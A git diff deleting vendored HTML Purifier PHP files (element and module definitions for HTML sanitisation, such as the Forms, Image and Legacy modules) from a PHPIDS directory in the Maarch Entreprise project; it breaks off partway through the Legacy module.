b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php deleted file mode 100755 index bddcefb2cded8032883d87e838d1a3e6a20769ad..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php +++ /dev/null @@ -1,425 +0,0 @@ -<?php - -/** - * Definition of the purified HTML that describes allowed children, - * attributes, and many other things. - * - * Conventions: - * - * All member variables that are prefixed with info - * (including the main $info array) are used by HTML Purifier internals - * and should not be directly edited when customizing the HTMLDefinition. - * They can usually be set via configuration directives or custom - * modules. - * - * On the other hand, member variables without the info prefix are used - * internally by the HTMLDefinition and MUST NOT be used by other HTML - * Purifier internals. Many of them, however, are public, and may be - * edited by userspace code to tweak the behavior of HTMLDefinition. - * - * @note This class is inspected by Printer_HTMLDefinition; please - * update that class if things here change. - * - * @warning Directives that change this object's structure must be in - * the HTML or Attr namespace! - */ -class HTMLPurifier_HTMLDefinition extends HTMLPurifier_Definition -{ - - // FULLY-PUBLIC VARIABLES --------------------------------------------- - - /** - * Associative array of element names to HTMLPurifier_ElementDef - */ - public $info = array(); - - /** - * Associative array of global attribute name to attribute definition. - */ - public $info_global_attr = array(); - - /** - * String name of parent element HTML will be going into. - */ - public $info_parent = 'div'; - - /** - * Definition for parent element, allows parent element to be a - * tag that's not allowed inside the HTML fragment. - */ - public $info_parent_def; - - /** - * String name of element used to wrap inline elements in block context - * @note This is rarely used except for BLOCKQUOTEs in strict mode - */ - public $info_block_wrapper = 'p'; - - /** - * Associative array of deprecated tag name to HTMLPurifier_TagTransform - */ - public $info_tag_transform = array(); - - /** - * Indexed list of HTMLPurifier_AttrTransform to be performed before validation. - */ - public $info_attr_transform_pre = array(); - - /** - * Indexed list of HTMLPurifier_AttrTransform to be performed after validation. - */ - public $info_attr_transform_post = array(); - - /** - * Nested lookup array of content set name (Block, Inline) to - * element name to whether or not it belongs in that content set. - */ - public $info_content_sets = array(); - - /** - * Indexed list of HTMLPurifier_Injector to be used. - */ - public $info_injector = array(); - - /** - * Doctype object - */ - public $doctype; - - - - // RAW CUSTOMIZATION STUFF -------------------------------------------- - - /** - * Adds a custom attribute to a pre-existing element - * @note This is strictly convenience, and does not have a corresponding - * method in HTMLPurifier_HTMLModule - * @param $element_name String element name to add attribute to - * @param $attr_name String name of attribute - * @param $def Attribute definition, can be string or object, see - * HTMLPurifier_AttrTypes for details - */ - public function addAttribute($element_name, $attr_name, $def) { - $module = $this->getAnonymousModule(); - if (!isset($module->info[$element_name])) { - $element = $module->addBlankElement($element_name); - } else { - $element = $module->info[$element_name]; - } - $element->attr[$attr_name] = $def; - } - - /** - * Adds a custom element to your HTML definition - * @note See HTMLPurifier_HTMLModule::addElement for detailed - * parameter and return value descriptions. - */ - public function addElement($element_name, $type, $contents, $attr_collections, $attributes = array()) { - $module = $this->getAnonymousModule(); - // assume that if the user is calling this, the element - // is safe. This may not be a good idea - $element = $module->addElement($element_name, $type, $contents, $attr_collections, $attributes); - return $element; - } - - /** - * Adds a blank element to your HTML definition, for overriding - * existing behavior - * @note See HTMLPurifier_HTMLModule::addBlankElement for detailed - * parameter and return value descriptions. - */ - public function addBlankElement($element_name) { - $module = $this->getAnonymousModule(); - $element = $module->addBlankElement($element_name); - return $element; - } - - /** - * Retrieves a reference to the anonymous module, so you can - * bust out advanced features without having to make your own - * module. - */ - public function getAnonymousModule() { - if (!$this->_anonModule) { - $this->_anonModule = new HTMLPurifier_HTMLModule(); - $this->_anonModule->name = 'Anonymous'; - } - return $this->_anonModule; - } - - private $_anonModule; - - - // PUBLIC BUT INTERNAL VARIABLES -------------------------------------- - - public $type = 'HTML'; - public $manager; /**< Instance of HTMLPurifier_HTMLModuleManager */ - - /** - * Performs low-cost, preliminary initialization. - */ - public function __construct() { - $this->manager = new HTMLPurifier_HTMLModuleManager(); - } - - protected function doSetup($config) { - $this->processModules($config); - $this->setupConfigStuff($config); - unset($this->manager); - - // cleanup some of the element definitions - foreach ($this->info as $k => $v) { - unset($this->info[$k]->content_model); - unset($this->info[$k]->content_model_type); - } - } - - /** - * Extract out the information from the manager - */ - protected function processModules($config) { - - if ($this->_anonModule) { - // for user specific changes - // this is late-loaded so we don't have to deal with PHP4 - // reference wonky-ness - $this->manager->addModule($this->_anonModule); - unset($this->_anonModule); - } - - $this->manager->setup($config); - $this->doctype = $this->manager->doctype; - - foreach ($this->manager->modules as $module) { - foreach($module->info_tag_transform as $k => $v) { - if ($v === false) unset($this->info_tag_transform[$k]); - else $this->info_tag_transform[$k] = $v; - } - foreach($module->info_attr_transform_pre as $k => $v) { - if ($v === false) unset($this->info_attr_transform_pre[$k]); - else $this->info_attr_transform_pre[$k] = $v; - } - foreach($module->info_attr_transform_post as $k => $v) { - if ($v === false) unset($this->info_attr_transform_post[$k]); - else $this->info_attr_transform_post[$k] = $v; - } - foreach ($module->info_injector as $k => $v) { - if ($v === false) unset($this->info_injector[$k]); - else $this->info_injector[$k] = $v; - } - } - - $this->info = $this->manager->getElements(); - $this->info_content_sets = $this->manager->contentSets->lookup; - - } - - /** - * Sets up stuff based on config. We need a better way of doing this. - */ - protected function setupConfigStuff($config) { - - $block_wrapper = $config->get('HTML.BlockWrapper'); - if (isset($this->info_content_sets['Block'][$block_wrapper])) { - $this->info_block_wrapper = $block_wrapper; - } else { - trigger_error('Cannot use non-block element as block wrapper', - E_USER_ERROR); - } - - $parent = $config->get('HTML.Parent'); - $def = $this->manager->getElement($parent, true); - if ($def) { - $this->info_parent = $parent; - $this->info_parent_def = $def; - } else { - trigger_error('Cannot use unrecognized element as parent', - E_USER_ERROR); - $this->info_parent_def = $this->manager->getElement($this->info_parent, true); - } - - // support template text - $support = "(for information on implementing this, see the ". - "support forums) "; - - // setup allowed elements ----------------------------------------- - - $allowed_elements = $config->get('HTML.AllowedElements'); - $allowed_attributes = $config->get('HTML.AllowedAttributes'); // retrieve early - - if (!is_array($allowed_elements) && !is_array($allowed_attributes)) { - $allowed = $config->get('HTML.Allowed'); - if (is_string($allowed)) { - list($allowed_elements, $allowed_attributes) = $this->parseTinyMCEAllowedList($allowed); - } - } - - if (is_array($allowed_elements)) { - foreach ($this->info as $name => $d) { - if(!isset($allowed_elements[$name])) unset($this->info[$name]); - unset($allowed_elements[$name]); - } - // emit errors - foreach ($allowed_elements as $element => $d) { - $element = htmlspecialchars($element); // PHP doesn't escape errors, be careful! - trigger_error("Element '$element' is not supported $support", E_USER_WARNING); - } - } - - // setup allowed attributes --------------------------------------- - - $allowed_attributes_mutable = $allowed_attributes; // by copy! - if (is_array($allowed_attributes)) { - - // This actually doesn't do anything, since we went away from - // global attributes. It's possible that userland code uses - // it, but HTMLModuleManager doesn't! - foreach ($this->info_global_attr as $attr => $x) { - $keys = array($attr, "*@$attr", "*.$attr"); - $delete = true; - foreach ($keys as $key) { - if ($delete && isset($allowed_attributes[$key])) { - $delete = false; - } - if (isset($allowed_attributes_mutable[$key])) { - unset($allowed_attributes_mutable[$key]); - } - } - if ($delete) unset($this->info_global_attr[$attr]); - } - - foreach ($this->info as $tag => $info) { - foreach ($info->attr as $attr => $x) { - $keys = array("$tag@$attr", $attr, "*@$attr", "$tag.$attr", "*.$attr"); - $delete = true; - foreach ($keys as $key) { - if ($delete && isset($allowed_attributes[$key])) { - $delete = false; - } - if (isset($allowed_attributes_mutable[$key])) { - unset($allowed_attributes_mutable[$key]); - } - } - if ($delete) { - if ($this->info[$tag]->attr[$attr]->required) { - trigger_error("Required attribute '$attr' in element '$tag' was not allowed, which means '$tag' will not be allowed either", E_USER_WARNING); - } - unset($this->info[$tag]->attr[$attr]); - } - } - } - // emit errors - foreach ($allowed_attributes_mutable as $elattr => $d) { - $bits = preg_split('/[.@]/', $elattr, 2); - $c = count($bits); - switch ($c) { - case 2: - if ($bits[0] !== '*') { - $element = htmlspecialchars($bits[0]); - $attribute = htmlspecialchars($bits[1]); - if (!isset($this->info[$element])) { - trigger_error("Cannot allow attribute '$attribute' if element '$element' is not allowed/supported $support"); - } else { - trigger_error("Attribute '$attribute' in element '$element' not supported $support", - E_USER_WARNING); - } - break; - } - // otherwise fall through - case 1: - $attribute = htmlspecialchars($bits[0]); - trigger_error("Global attribute '$attribute' is not ". - "supported in any elements $support", - E_USER_WARNING); - break; - } - } - - } - - // setup forbidden elements --------------------------------------- - - $forbidden_elements = $config->get('HTML.ForbiddenElements'); - $forbidden_attributes = $config->get('HTML.ForbiddenAttributes'); - - foreach ($this->info as $tag => $info) { - if (isset($forbidden_elements[$tag])) { - unset($this->info[$tag]); - continue; - } - foreach ($info->attr as $attr => $x) { - if ( - isset($forbidden_attributes["$tag@$attr"]) || - isset($forbidden_attributes["*@$attr"]) || - isset($forbidden_attributes[$attr]) - ) { - unset($this->info[$tag]->attr[$attr]); - continue; - } // this segment might get removed eventually - elseif (isset($forbidden_attributes["$tag.$attr"])) { - // $tag.$attr are not user supplied, so no worries! - trigger_error("Error with $tag.$attr: tag.attr syntax not supported for HTML.ForbiddenAttributes; use tag@attr instead", E_USER_WARNING); - } - } - } - foreach ($forbidden_attributes as $key => $v) { - if (strlen($key) < 2) continue; - if ($key[0] != '*') continue; - if ($key[1] == '.') { - trigger_error("Error with $key: *.attr syntax not supported for HTML.ForbiddenAttributes; use attr instead", E_USER_WARNING); - } - } - - // setup injectors ----------------------------------------------------- - foreach ($this->info_injector as $i => $injector) { - if ($injector->checkNeeded($config) !== false) { - // remove injector that does not have it's required - // elements/attributes present, and is thus not needed. - unset($this->info_injector[$i]); - } - } - } - - /** - * Parses a TinyMCE-flavored Allowed Elements and Attributes list into - * separate lists for processing. Format is element[attr1|attr2],element2... - * @warning Although it's largely drawn from TinyMCE's implementation, - * it is different, and you'll probably have to modify your lists - * @param $list String list to parse - * @param array $allowed_elements, $allowed_attributes - * @todo Give this its own class, probably static interface - */ - public function parseTinyMCEAllowedList($list) { - - $list = str_replace(array(' ', "\t"), '', $list); - - $elements = array(); - $attributes = array(); - - $chunks = preg_split('/(,|[\n\r]+)/', $list); - foreach ($chunks as $chunk) { - if (empty($chunk)) continue; - // remove TinyMCE element control characters - if (!strpos($chunk, '[')) { - $element = $chunk; - $attr = false; - } else { - list($element, $attr) = explode('[', $chunk); - } - if ($element !== '*') $elements[$element] = true; - if (!$attr) continue; - $attr = substr($attr, 0, strlen($attr) - 1); // remove trailing ] - $attr = explode('|', $attr); - foreach ($attr as $key) { - $attributes["$element.$key"] = true; - } - } - - return array($elements, $attributes); - - } - - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php deleted file mode 100755 index 5aa930cb4ec2e111e774d6ec5019636e0079dab2..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule.php +++ /dev/null @@ -1,244 +0,0 @@ -<?php - -/** - * Represents an XHTML 1.1 module, with information on elements, tags - * and attributes. - * @note Even though this is technically XHTML 1.1, it is also used for - * regular HTML parsing. We are using modulization as a convenient - * way to represent the internals of HTMLDefinition, and our - * implementation is by no means conforming and does not directly - * use the normative DTDs or XML schemas. - * @note The public variables in a module should almost directly - * correspond to the variables in HTMLPurifier_HTMLDefinition. - * However, the prefix info carries no special meaning in these - * objects (include it anyway if that's the correspondence though). - * @todo Consider making some member functions protected - */ - -class HTMLPurifier_HTMLModule -{ - - // -- Overloadable ---------------------------------------------------- - - /** - * Short unique string identifier of the module - */ - public $name; - - /** - * Informally, a list of elements this module changes. Not used in - * any significant way. - */ - public $elements = array(); - - /** - * Associative array of element names to element definitions. - * Some definitions may be incomplete, to be merged in later - * with the full definition. - */ - public $info = array(); - - /** - * Associative array of content set names to content set additions. - * This is commonly used to, say, add an A element to the Inline - * content set. This corresponds to an internal variable $content_sets - * and NOT info_content_sets member variable of HTMLDefinition. - */ - public $content_sets = array(); - - /** - * Associative array of attribute collection names to attribute - * collection additions. More rarely used for adding attributes to - * the global collections. Example is the StyleAttribute module adding - * the style attribute to the Core. Corresponds to HTMLDefinition's - * attr_collections->info, since the object's data is only info, - * with extra behavior associated with it. - */ - public $attr_collections = array(); - - /** - * Associative array of deprecated tag name to HTMLPurifier_TagTransform - */ - public $info_tag_transform = array(); - - /** - * List of HTMLPurifier_AttrTransform to be performed before validation. - */ - public $info_attr_transform_pre = array(); - - /** - * List of HTMLPurifier_AttrTransform to be performed after validation. - */ - public $info_attr_transform_post = array(); - - /** - * List of HTMLPurifier_Injector to be performed during well-formedness fixing. - * An injector will only be invoked if all of it's pre-requisites are met; - * if an injector fails setup, there will be no error; it will simply be - * silently disabled. - */ - public $info_injector = array(); - - /** - * Boolean flag that indicates whether or not getChildDef is implemented. - * For optimization reasons: may save a call to a function. Be sure - * to set it if you do implement getChildDef(), otherwise it will have - * no effect! - */ - public $defines_child_def = false; - - /** - * Boolean flag whether or not this module is safe. If it is not safe, all - * of its members are unsafe. Modules are safe by default (this might be - * slightly dangerous, but it doesn't make much sense to force HTML Purifier, - * which is based off of safe HTML, to explicitly say, "This is safe," even - * though there are modules which are "unsafe") - * - * @note Previously, safety could be applied at an element level granularity. - * We've removed this ability, so in order to add "unsafe" elements - * or attributes, a dedicated module with this property set to false - * must be used. - */ - public $safe = true; - - /** - * Retrieves a proper HTMLPurifier_ChildDef subclass based on - * content_model and content_model_type member variables of - * the HTMLPurifier_ElementDef class. There is a similar function - * in HTMLPurifier_HTMLDefinition. - * @param $def HTMLPurifier_ElementDef instance - * @return HTMLPurifier_ChildDef subclass - */ - public function getChildDef($def) {return false;} - - // -- Convenience ----------------------------------------------------- - - /** - * Convenience function that sets up a new element - * @param $element Name of element to add - * @param $type What content set should element be registered to? - * Set as false to skip this step. - * @param $contents Allowed children in form of: - * "$content_model_type: $content_model" - * @param $attr_includes What attribute collections to register to - * element? - * @param $attr What unique attributes does the element define? - * @note See ElementDef for in-depth descriptions of these parameters. - * @return Created element definition object, so you - * can set advanced parameters - */ - public function addElement($element, $type, $contents, $attr_includes = array(), $attr = array()) { - $this->elements[] = $element; - // parse content_model - list($content_model_type, $content_model) = $this->parseContents($contents); - // merge in attribute inclusions - $this->mergeInAttrIncludes($attr, $attr_includes); - // add element to content sets - if ($type) $this->addElementToContentSet($element, $type); - // create element - $this->info[$element] = HTMLPurifier_ElementDef::create( - $content_model, $content_model_type, $attr - ); - // literal object $contents means direct child manipulation - if (!is_string($contents)) $this->info[$element]->child = $contents; - return $this->info[$element]; - } - - /** - * Convenience function that creates a totally blank, non-standalone - * element. - * @param $element Name of element to create - * @return Created element - */ - public function addBlankElement($element) { - if (!isset($this->info[$element])) { - $this->elements[] = $element; - $this->info[$element] = new HTMLPurifier_ElementDef(); - $this->info[$element]->standalone = false; - } else { - trigger_error("Definition for $element already exists in module, cannot redefine"); - } - return $this->info[$element]; - } - - /** - * Convenience function that registers an element to a content set - * @param Element to register - * @param Name content set (warning: case sensitive, usually upper-case - * first letter) - */ - public function addElementToContentSet($element, $type) { - if (!isset($this->content_sets[$type])) $this->content_sets[$type] = ''; - else $this->content_sets[$type] .= ' | '; - $this->content_sets[$type] .= $element; - } - - /** - * Convenience function that transforms single-string contents - * into separate content model and content model type - * @param $contents Allowed children in form of: - * "$content_model_type: $content_model" - * @note If contents is an object, an array of two nulls will be - * returned, and the callee needs to take the original $contents - * and use it directly. - */ - public function parseContents($contents) { - if (!is_string($contents)) return array(null, null); // defer - switch ($contents) { - // check for shorthand content model forms - case 'Empty': - return array('empty', ''); - case 'Inline': - return array('optional', 'Inline | #PCDATA'); - case 'Flow': - return array('optional', 'Flow | #PCDATA'); - } - list($content_model_type, $content_model) = explode(':', $contents); - $content_model_type = strtolower(trim($content_model_type)); - $content_model = trim($content_model); - return array($content_model_type, $content_model); - } - - /** - * Convenience function that merges a list of attribute includes into - * an attribute array. - * @param $attr Reference to attr array to modify - * @param $attr_includes Array of includes / string include to merge in - */ - public function mergeInAttrIncludes(&$attr, $attr_includes) { - if (!is_array($attr_includes)) { - if (empty($attr_includes)) $attr_includes = array(); - else $attr_includes = array($attr_includes); - } - $attr[0] = $attr_includes; - } - - /** - * Convenience function that generates a lookup table with boolean - * true as value. - * @param $list List of values to turn into a lookup - * @note You can also pass an arbitrary number of arguments in - * place of the regular argument - * @return Lookup array equivalent of list - */ - public function makeLookup($list) { - if (is_string($list)) $list = func_get_args(); - $ret = array(); - foreach ($list as $value) { - if (is_null($value)) continue; - $ret[$value] = true; - } - return $ret; - } - - /** - * Lazy load construction of the module after determining whether - * or not it's needed, and also when a finalized configuration object - * is available. - * @param $config Instance of HTMLPurifier_Config - */ - public function setup($config) {} - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Bdo.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Bdo.php deleted file mode 100755 index 6d767ca69dda22cba75fd0e1672941c41ba3e9ea..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Bdo.php +++ /dev/null @@ -1,31 +0,0 @@ -<?php - -/** - * XHTML 1.1 Bi-directional Text Module, defines elements that - * declare directionality of content. Text Extension Module. - */ -class HTMLPurifier_HTMLModule_Bdo extends HTMLPurifier_HTMLModule -{ - - public $name = 'Bdo'; - public $attr_collections = array( - 'I18N' => array('dir' => false) - ); - - public function setup($config) { - $bdo = $this->addElement( - 'bdo', 'Inline', 'Inline', array('Core', 'Lang'), - array( - 'dir' => 'Enum#ltr,rtl', // required - // The Abstract Module specification has the attribute - // inclusions wrong for bdo: bdo allows Lang - ) - ); - $bdo->attr_transform_post['required-dir'] = new HTMLPurifier_AttrTransform_BdoDir(); - - $this->attr_collections['I18N']['dir'] = 'Enum#ltr,rtl'; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/CommonAttributes.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/CommonAttributes.php deleted file mode 100755 index f2259f93fb36ccd571b13c4dae4ad7f403d1618a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/CommonAttributes.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -class HTMLPurifier_HTMLModule_CommonAttributes extends HTMLPurifier_HTMLModule -{ - public $name = 'CommonAttributes'; - - public $attr_collections = array( - 'Core' => array( - 0 => array('Style'), - // 'xml:space' => false, - 'class' => 'Class', - 'id' => 'ID', - 'title' => 'CDATA', - ), - 'Lang' => array(), - 'I18N' => array( - 0 => array('Lang'), // proprietary, for xml:lang/lang - ), - 'Common' => array( - 0 => array('Core', 'I18N') - ) - ); - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Edit.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Edit.php deleted file mode 100755 index 793e5685dfa231ff8af59049255373a12194ab20..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Edit.php +++ /dev/null @@ -1,38 +0,0 @@ -<?php - -/** - * XHTML 1.1 Edit Module, defines editing-related elements. Text Extension - * Module. - */ -class HTMLPurifier_HTMLModule_Edit extends HTMLPurifier_HTMLModule -{ - - public $name = 'Edit'; - - public function setup($config) { - $contents = 'Chameleon: #PCDATA | Inline ! #PCDATA | Flow'; - $attr = array( - 'cite' => 'URI', - // 'datetime' => 'Datetime', // not implemented - ); - $this->addElement('del', 'Inline', $contents, 'Common', $attr); - $this->addElement('ins', 'Inline', $contents, 'Common', $attr); - } - - // HTML 4.01 specifies that ins/del must not contain block - // elements when used in an inline context, chameleon is - // a complicated workaround to acheive this effect - - // Inline context ! Block context (exclamation mark is - // separator, see getChildDef for parsing) - - public $defines_child_def = true; - public function getChildDef($def) { - if ($def->content_model_type != 'chameleon') return false; - $value = explode('!', $def->content_model); - return new HTMLPurifier_ChildDef_Chameleon($value[0], $value[1]); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Forms.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Forms.php deleted file mode 100755 index f3629ab9f39e9cbf624f6e48e399de5d5eabc31c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Forms.php +++ /dev/null @@ -1,118 +0,0 @@ -<?php - -/** - * XHTML 1.1 Forms module, defines all form-related elements found in HTML 4. - */ -class HTMLPurifier_HTMLModule_Forms extends HTMLPurifier_HTMLModule -{ - public $name = 'Forms'; - public $safe = false; - - public $content_sets = array( - 'Block' => 'Form', - 'Inline' => 'Formctrl', - ); - - public function setup($config) { - $form = $this->addElement('form', 'Form', - 'Required: Heading | List | Block | fieldset', 'Common', array( - 'accept' => 'ContentTypes', - 'accept-charset' => 'Charsets', - 'action*' => 'URI', - 'method' => 'Enum#get,post', - // really ContentType, but these two are the only ones used today - 'enctype' => 'Enum#application/x-www-form-urlencoded,multipart/form-data', - )); - $form->excludes = array('form' => true); - - $input = $this->addElement('input', 'Formctrl', 'Empty', 'Common', array( - 'accept' => 'ContentTypes', - 'accesskey' => 'Character', - 'alt' => 'Text', - 'checked' => 'Bool#checked', - 'disabled' => 'Bool#disabled', - 'maxlength' => 'Number', - 'name' => 'CDATA', - 'readonly' => 'Bool#readonly', - 'size' => 'Number', - 'src' => 'URI#embeds', - 'tabindex' => 'Number', - 'type' => 'Enum#text,password,checkbox,button,radio,submit,reset,file,hidden,image', - 'value' => 'CDATA', - )); - $input->attr_transform_post[] = new HTMLPurifier_AttrTransform_Input(); - - $this->addElement('select', 'Formctrl', 'Required: optgroup | option', 'Common', array( - 'disabled' => 'Bool#disabled', - 'multiple' => 'Bool#multiple', - 'name' => 'CDATA', - 'size' => 'Number', - 'tabindex' => 'Number', - )); - - $this->addElement('option', false, 'Optional: #PCDATA', 'Common', array( - 'disabled' => 'Bool#disabled', - 'label' => 'Text', - 'selected' => 'Bool#selected', - 'value' => 'CDATA', - )); - // It's illegal for there to be more than one selected, but not - // be multiple. Also, no selected means undefined behavior. This might - // be difficult to implement; perhaps an injector, or a context variable. - - $textarea = $this->addElement('textarea', 'Formctrl', 'Optional: #PCDATA', 'Common', array( - 'accesskey' => 'Character', - 'cols*' => 'Number', - 'disabled' => 'Bool#disabled', - 'name' => 'CDATA', - 'readonly' => 'Bool#readonly', - 'rows*' => 'Number', - 'tabindex' => 'Number', - )); - $textarea->attr_transform_pre[] = new HTMLPurifier_AttrTransform_Textarea(); - - $button = $this->addElement('button', 'Formctrl', 'Optional: #PCDATA | Heading | List | Block | Inline', 'Common', array( - 'accesskey' => 'Character', - 'disabled' => 'Bool#disabled', - 'name' => 'CDATA', - 'tabindex' => 'Number', - 'type' => 'Enum#button,submit,reset', - 'value' => 'CDATA', - )); - - // For exclusions, ideally we'd specify content sets, not literal elements - $button->excludes = $this->makeLookup( - 'form', 'fieldset', // Form - 'input', 'select', 'textarea', 'label', 'button', // Formctrl - 'a' // as per HTML 4.01 spec, this is omitted by modularization - ); - - // Extra exclusion: img usemap="" is not permitted within this element. - // We'll omit this for now, since we don't have any good way of - // indicating it yet. - - // This is HIGHLY user-unfriendly; we need a custom child-def for this - $this->addElement('fieldset', 'Form', 'Custom: (#WS?,legend,(Flow|#PCDATA)*)', 'Common'); - - $label = $this->addElement('label', 'Formctrl', 'Optional: #PCDATA | Inline', 'Common', array( - 'accesskey' => 'Character', - // 'for' => 'IDREF', // IDREF not implemented, cannot allow - )); - $label->excludes = array('label' => true); - - $this->addElement('legend', false, 'Optional: #PCDATA | Inline', 'Common', array( - 'accesskey' => 'Character', - )); - - $this->addElement('optgroup', false, 'Required: option', 'Common', array( - 'disabled' => 'Bool#disabled', - 'label*' => 'Text', - )); - - // Don't forget an injector for <isindex>. This one's a little complex - // because it maps to multiple elements. - - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Hypertext.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Hypertext.php deleted file mode 100755 index 3bf3f0759f8537d31c3b17294d41b6e1012a8b8f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Hypertext.php +++ /dev/null @@ -1,31 +0,0 @@ -<?php - -/** - * XHTML 1.1 Hypertext Module, defines hypertext links. Core Module. - */ -class HTMLPurifier_HTMLModule_Hypertext extends HTMLPurifier_HTMLModule -{ - - public $name = 'Hypertext'; - - public function setup($config) { - $a = $this->addElement( - 'a', 'Inline', 'Inline', 'Common', - array( - // 'accesskey' => 'Character', - // 'charset' => 'Charset', - 'href' => 'URI', - // 'hreflang' => 'LanguageCode', - 'rel' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'), - 'rev' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rev'), - // 'tabindex' => 'Number', - // 'type' => 'ContentType', - ) - ); - $a->formatting = true; - $a->excludes = array('a' => true); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Image.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Image.php deleted file mode 100755 index b70e12694d10ec879bec5d1b99c2034993198fd5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Image.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -/** - * XHTML 1.1 Image Module provides basic image embedding. - * @note There is specialized code for removing empty images in - * HTMLPurifier_Strategy_RemoveForeignElements - */ -class HTMLPurifier_HTMLModule_Image extends HTMLPurifier_HTMLModule -{ - - public $name = 'Image'; - - public function setup($config) { - $max = $config->get('HTML.MaxImgLength'); - $img = $this->addElement( - 'img', 'Inline', 'Empty', 'Common', - array( - 'alt*' => 'Text', - // According to the spec, it's Length, but percents can - // be abused, so we allow only Pixels. - 'height' => 'Pixels#' . $max, - 'width' => 'Pixels#' . $max, - 'longdesc' => 'URI', - 'src*' => new HTMLPurifier_AttrDef_URI(true), // embedded - ) - ); - if ($max === null || $config->get('HTML.Trusted')) { - $img->attr['height'] = - $img->attr['width'] = 'Length'; - } - - // kind of strange, but splitting things up would be inefficient - $img->attr_transform_pre[] = - $img->attr_transform_post[] = - new HTMLPurifier_AttrTransform_ImgRequired(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Legacy.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Legacy.php deleted file mode 100755 index a7e859452fe4f8d4ec237142c9e116d0810f5794..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLModule/Legacy.php +++ /dev/null @@ -1,143 +0,0 @@ -<?php - -/** - * XHTML 1.1 Legacy module defines elements that were previously - * deprecated. - * - * @note Not all legacy elements have been implemented yet, which - * is a bit of a reverse problem as compared to browsers! In - * addition, this legacy module may implement a bit more than - * mandated by XHTML 1.1. - * - * This module can be used in combination with TransformToStrict in order - * to transform as many deprecated elements as possible, but retain - * questionably deprecated elements that do not have good alternatives - * as well as transform elements that don't have an implementation. - * See docs/ref-strictness.txt for more details. - */ - -class HTMLPurifier_HTMLModule_Legacy extends HTMLPurifier_HTMLModule -{ - - public $name = 'Legacy'; - - public function setup($config) { - - $this->addElement('basefont', 'Inline', 'Empty', false, array( - 'color' => 'Color', - 'face' => 'Text', // extremely broad, we should - 'size' => 'Text', // tighten it - 'id' => 'ID' - )); - $this->addElement('center', 'Block', 'Flow', 'Common'); - $this->addElement('dir', 'Block', 'Required: li', 'Common', array( - 'compact' => 'Bool#compact' - )); - $this->addElement('font', 'Inline', 'Inline', array('Core', 'I18N'), array( - 'color' => 'Color', - 'face' => 'Text', // extremely broad, we should - 'size' => 'Text', // tighten it - )); - $this->addElement('menu', 'Block', 'Required: li', 'Common', array( - 'compact' => 'Bool#compact' - )); - - $s = $this->addElement('s', 'Inline', 'Inline', 'Common'); - $s->formatting = true; - - $strike = $this->addElement('strike', 'Inline', 'Inline', 'Common'); - $strike->formatting = true; - - $u = $this->addElement('u', 'Inline', 'Inline', 'Common'); - $u->formatting = true; - - // setup modifications to old elements - - $align = 'Enum#left,right,center,justify'; - - $address = $this->addBlankElement('address'); - $address->content_model = 'Inline | #PCDATA | p'; - $address->content_model_type = 'optional'; - $address->child = false; - - $blockquote = $this->addBlankElement('blockquote'); - $blockquote->content_model = 'Flow | #PCDATA'; - 